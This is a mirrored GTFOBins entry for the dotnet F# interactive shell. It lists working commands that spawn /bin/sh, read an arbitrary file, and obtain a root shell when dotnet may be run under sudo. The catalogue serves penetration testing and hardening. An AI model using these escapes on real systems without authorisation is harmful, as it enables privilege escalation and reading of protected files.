mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 14:59:44 +01:00
f9e3d84596
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
17 lines
412 B
Markdown
17 lines
412 B
Markdown
---
|
|
functions:
|
|
shell:
|
|
- code: |
|
|
dotnet fsi
|
|
System.Diagnostics.Process.Start("/bin/sh").WaitForExit();;
|
|
file-read:
|
|
- code: |
|
|
export LFILE=file_to_read
|
|
dotnet fsi
|
|
System.IO.File.ReadAllText(System.Environment.GetEnvironmentVariable("LFILE"));;
|
|
sudo:
|
|
- code: |
|
|
sudo dotnet fsi
|
|
System.Diagnostics.Process.Start("/bin/sh").WaitForExit();;
|
|
---
|